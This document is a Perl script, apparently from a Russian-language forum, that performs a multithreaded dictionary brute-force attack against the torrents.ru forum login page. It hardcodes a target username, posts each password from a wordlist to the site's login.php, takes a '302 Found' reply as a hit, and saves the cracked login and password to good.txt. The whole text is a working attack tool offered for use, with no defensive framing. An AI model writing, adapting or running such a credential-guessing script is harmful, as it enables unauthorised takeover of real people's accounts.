Код:
#!/usr/bin/perl
################################################## #
# В папку со скриптом киньте 2 файла: #
# pass.txt (Словарь), good.txt (Взбрученные аккки)#
################################################## #
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Torrent.ru Bruteforce by Fuck all\n";
print "\n Starting brute...\n";
open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;
my $login_username = 'ALeXX'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);
$i=($i+1) % 5; #Количество потоков (5)
}
foreach(threads->list) { $_->join; }
sub brute()
{
$ua->cookie_jar($cookies);
my $req = $ua->post('http://torrents.ru/forum/login.php', {
'st.posted'=>'set',
'login_username'=>$_[0],
'login_password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;
my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[1]\n";
}}
#c0ded by Fuck all;